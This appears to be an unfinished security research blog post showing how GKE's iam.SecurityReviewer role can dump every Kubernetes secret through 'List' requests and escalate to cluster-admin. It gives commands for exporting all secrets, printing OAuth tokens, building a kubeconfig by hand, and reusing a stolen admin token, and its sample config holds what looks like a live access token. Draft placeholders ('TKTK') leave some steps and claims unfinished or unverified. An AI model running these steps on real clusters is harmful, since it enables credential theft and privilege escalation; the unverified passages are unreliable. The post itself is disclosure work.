Skip to navigation Skip to main content Skip to footer

Dangers of Kubernetes IAM Integrations

01 June 2020

By Mark Manning

Research Cloud & Containerization
On a recent Kubernetes security assessment, Josh Makinen and I were provided restricted access to a GKE cluster and we noticed some disparity between our accounts’ access even though we were given the same permissions. This lead us into diving a bit deeper into how Kubernetes handles permission controls when integrating with a cloud provider.
Kubernetes provides similar access controls to a cloud IAM where you set set permissions, create policies, and choose what principals the policies apply to. With managed Kubernetes, organizations will often wish that they can manage Kubernetes access controls with cloud IAM. There’s obvious benefits here such as reducing complexity by not having to manage to access control systems and being able to  consolidate logging and monitoring.
Coming into parity between your cloud’s IAM controls and your Kubernetes RBAC controls has some challenges.

Some cloud providers do not provide first party support for integrating IAM into Kubernetes so you have to leverage a third party plugin. This is the case for AWS right now and may mean that you need to use kube2iam or something similar. AWS says they’re working on making this a built-in integration with EKS in the near future. (We will have a future post on some issues with kube2iam itself.)
Google on the other hand has provided GKE with IAM integration for a while. This allows you to setup a Kubernetes cluster managed by Google Cloud and then use IAM roles to provide access to the cluster.
In this post we will describe the challenges that Kubernetes creates for cloud providers and other authentication integrations and demonstrate one such example where the iam.SecurityReviewer role over-grants permissions into the Kubernetes cluster.

GKE iam.SecurityReviewer

The iam.SecurityReviewer role provided by Google Cloud is normally designed to provide a level of access to review and audit your cloud environment but should not grant permission to modify or reconfigure the components themselves. Often this is given to automated tools like ScoutSuite or to penetration testers during an assessment. The documentation states that it:
Provides permissions to list all resources and Cloud IAM policies on them.
One way that this role grants access without providing too many privileges is by using the “List” verb in the kube-api. A “List” permission is designed so that you can list all the objects of that type in the cluster. This iam.SecurityReviewer role for example should be able to “List” all the cluster’s secrets but you shouldn’t be able to “Get” the secret themselves because you could simply steal secrets that would grant heightened access to your account.
Here’s an example with an account using only the iam.SecurityReviewer role to list the secrets and show that there is a service account named “cluster-admin-token”: ​
> kubectl get secrets -n kube-system
NAME TYPE DATA AGE
cluster-admin-token kubernetes.io/service-account-token 3 1d
We would assume our role prevents us from reading this token and taking over a service account token that has admin privileges. Our account should only have “List” permissions in the cluster so we should be blocked. This seems apparent below:
> kubectl get secret cluster-admin-token -n kube-system` 
Error from server (Forbidden): secrets "cluster-admin-token" is forbidden: User "security-reviewer@shmoocon-talk-hacking.iam.gserviceaccount.com" cannot get resource "secrets" in API group "" in the namespace "kube-system": requires one of ["container.secrets.get"] permission(s).
But look what happens when you decide to “List” the secrets but export the response as YAML:
>kubectl get secrets -o yaml
apiVersion: v1
items:
- apiVersion: v1
  data:
    ca.crt: 
    namespace: a3ViZS1zeXN0ZW0K
    token: 
  kind: Secret
...
You’ll see the full secrets base64 encoded.
In our example scenario you’re compromising the “cluster-admin-token” which would represent a specific token created by the organization and doesn’t exist by default. In a default cluster you may need to steal the token for another service in kube-system and use that to mint your own tokens that grant full access. The results are the same.

Kubernetes List and Get Verbs

As shown above, if you can “List” secrets in the Kubernetes cluster, you can access all those secrets. That’s because during a “List” request to the API, the full manifests are returned in the response. Here’s there difference between a “Get” kube-api verb and a “List”.
With permission to “Get” an object in the kube-api, you will perform a request to directly access an object within the cluster and it will return the manifest for the object:
GET /apis/apps/v1/namespaces/kube-system/secrets/cluster-admin-token

For a “List” request, you’ll notice the call looks very similar except that the request isn’t for an individual object, but a group of them.

GET /apis/apps/v1/namespaces/kube-system/secrets

The response returned in a “List” request will include all the same manifests of the “Get” verb. This means there is a permission control to restrict “Get” vs “List” but they effectively have no meaning and can’t be relied upon for security. TKTKI’m using Strong works here. Can someone verifyTKTK

Using iam.SecurityReviewer With Kubeconfig

While all of the above is accurate, in practice, there’s a step that’s missing. The iam.SecurityReviewer role does not have the GCloud IAM permission to “Get” credentials. If you have permissions, you would normally run a command like this:

> gcloud container clusters get-credentials cluster-1

This will go out to the “cluster-1” GKE cluster and pull down necessary information to put into your kubeconfig file so that you can run kubectl commands. It’s a interesting command because gcloud-credential-helper will also make sure that your token is regularly updated in the background.

Here’s an excerpt of what your kubeconfig may look like:

apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURDekNDQWZPZ0F3SUJBZ0lRYndublIvTjVyRVlLSlF5NjRHeFU0ekFOQmdrcWhraUc5dzBCQVFzRkFEQXYKTVMwd0t3WURWUVFERXlSaVpETXpObUkzWWkwd1l6Y3hMVFF5TW1ZdE9XRmpOUzFrT0Rrd05HUXpZMll4TVRrdwpIaGNOTWpBd05UQTNNVE14TWpVNFdoY05NalV3TlRBMk1UUXhNalU0V2pBdk1TMHdLd1lEVlFRREV5UmlaRE16Ck5tSTNZaTB3WXpjeExUUXlNbVl0T1dGak5TMWtPRGt3TkdRelkyWXhNVGt3Z2dFaU1BMEdDU3FHU0liM0RRRUIKQVFVQUE0SUJEd0F3Z2dFS0FvSUJBUURHQmNYSTk3Z3cyclpxUkd0Y0IvRitDUUpmN0NDeE9zbjNaRUdnbzNiQgpiRUZGTmo1WHJsejg4QkY3NzhyTWMvdFF2R2JwZjIwNnR4ME9pRk9zZzJwTU4zMnZUZ2pMVGI0WVBTUGJCZUNOCnlXNTVLSVBVUHhZYi9VeDBITnFmV0g3RUlubUl4Q3FFdzZlNXlDUmdDcS92aWpkaGNJWkowTGFpODhRdlhHdHcKUlVSZWtCS1QxbXhiZk9CNE1IcEhvaHNBbjZ0TUtMWDFKYVV3TlRZVWh3RE83YUpKZEVieWJCSWxWRGE3VFVOMwozNWUwY2xiRjR1TDdGd2NKWUJkdzRhTCtIRkpZNG5Md0tadW9GS29vV3BEZGhXVzRLUndiZ2xMMVJ3Y0RWR09qCjRwajlZcGJPM2d2T3ovZnZ1d0c0MC9pZXNWOURIaklLSGxURzAvMEdwUHlkQWdNQkFBR2pJekFoTUE0R0ExVWQKRHdFQi93UUVBd0lDQkRBUEJnTlZIUk1CQWY4RUJUQURBUUgvTUEwR0NTcUdTSWIzRFFFQkN3VUFBNElCQVFDOApUUlFOMXZaWTUwbU4zWGhxSTJETFdFcEgrWTBlUlBrd0JmdkVoNWpIREkrRmJvV1pZc2lva1ErOURzaXVNMitRCldOUTc2TDlwQ2JXOThlejFJb1pwSjBoRkRPS1dzclVCb1F6R3ZHMDM0S3FHbCtVU3hYUnBaOUd6QWFsV1JpSXoKYTAzRFgzME1jaVBEMXhJaGg1ZTNYNVhORXd6VThqdUNSUFQxSUpaVmRKMzFrNmNUSEZ5c2hnUEhXUzAxRUt6ago2MjlFTXplQTRnZ25UZTB4TDI2eGxHVzRYY0hMckJPL0lVRkVUVEd2enNydkhDenhQOCtObVNuRktwQ1Q3YkNYClNsam1IZUZTU2VyQzR3cFBLWWNwOWx0QjFKRGZicVRSc05rVTVqSFhrMUFBZnJDSWx3K3JIcUZoNHNEeGlQNFQKRzNZODFKZ25qTlZMNXh0aGpTZWsKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
    server: https://34.68.152.127
  name: gke_hacking-poc_us-central1-c_cluster-1
...
users:
- name: gke_hacking-poc_us-central1-c_cluster-1
  user:
    auth-provider:
      config:
        access-token: ya29.c.KpYByQcy8QbvVbpJD6OXVYJRfB_q4SOZrhH9oA0VebhJtWgXnGq9oYqTn27S3yyMR5-UEckApAkkm_g-18FOlPDfefwznZq7Lu_w-uORu9jiw378UXDeOvGtHBitCteg2scp24KSeNAs2xLHcUTTDszijCIoUNTLppkGk1P5AJf-wbp5iZdDKP4v8bW32sVSNJmYMkBxKOuU
        cmd-args: config config-helper --format=json
        cmd-path: /usr/lib/google-cloud-sdk/bin/gcloud
        expiry: "2020-05-07T17:41:43Z"
        expiry-key: '{.credential.token_expiry}'
        token-key: '{.credential.access_token}'
      name: gcp

There are 3 key pieces here that we need to pay attention to:

  1. Server IP: In GKE, this is often a public IP to access the kube-api
  2. Access Token: This is an OAuth2 token for your gcloud account.
  3. Certificate Authority: The certificate authority your Kubernetes cluster uses (you can also choose to not validate the CA).

With only the iam.SecurityReviewer role, our accounts have permission to list our clusters and obtain the Server IP.

> gcloud container clusters list
TKTK SHOW RESULTS

From this IP we can get the certificate authority using openssl

> openssl s_client -connect {CLUSTER-IP}:443 | openssl x509 -pubkey -noout TKTKVERIFY

Finally, we need to get the access token. Our role has permission to get this so we can either run a command like this:

> gcloud auth application-default print-access-token
Or simply extract it from the environment variable that is already setup:
TKTK Josh?

With these 3 pieces we can build our Kubeconfig file manually without the need for gcloud to “get-credentials” since we don’t have permission to do that:

apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: {BASE64-ENCODED-CA}
    server: https://{KUBE-API-IP}
  name: gke_hacking-poc_us-central1-c_cluster-1
...
users:
- name: gke_hacking-poc_us-central1-c_cluster-1
  user:
    auth-provider:
      config:
        access-token: {OAUTH2-ACCESS-TOKEN}
        cmd-args: config config-helper --format=json
        cmd-path: /usr/lib/google-cloud-sdk/bin/gcloud
        expiry: "2020-05-07T17:41:43Z"
        expiry-key: '{.credential.token_expiry}'
        token-key: '{.credential.access_token}'
      name: gcp

This configures our kubectl so that we can now access the secrets.

Putting It All Together

To summarize, here are the steps to going from iam.SecurityReviewer to Cluster-Admin in GKE:

  1. Be granted the iam.SecurityReviewer role and configured gcloud
  2. Discover the Cluster IP by listing the clusters via gcloud
  3. Grab your OAuth2 token either from a gcloud command or from the environment variable
  4. Fill out the template Kubeconfig file to grant permission to query the cluster via kubectl
  5. Extract all the secrets from the cluster with kubectl get secrets --all-namespaces -o yaml > all_cluster_secrets.yaml
  6. Extract a secret with elevated permissions and build a new Kubeconfig file context to now access the cluster with Cluster-Admin permissions

Results

We are demonstrating how the iam.SecurityReviewer role has a difficult task trying to restrict access to a GKE cluster because Kubernetes provides often misinterpreted API controls. We demonstrated how some of the constraints for how gcloud will control authentication and ways to get around it. One of points we’d like to again emphasize is that the Kubernetes Secrets API returns the secrets even if you only have “List” permissions so while we’re directing our attention at Google’s GKE platform, the Kubernetes API has to share some blame here. If Kubernetes differentiates between a “List” permission and a “Get” permission, it should make sure that the results of a List do not return full manifests the same as a Get.

As more cloud providers aim to tackle integrating the cloud IAM services to match up with their managed Kubernetes clusters’ permissions, they will continue to run into these problems. In a future post, Jack Leadford will be discussing some security challenges of kube2iam.

Mark Manning

Mark Manning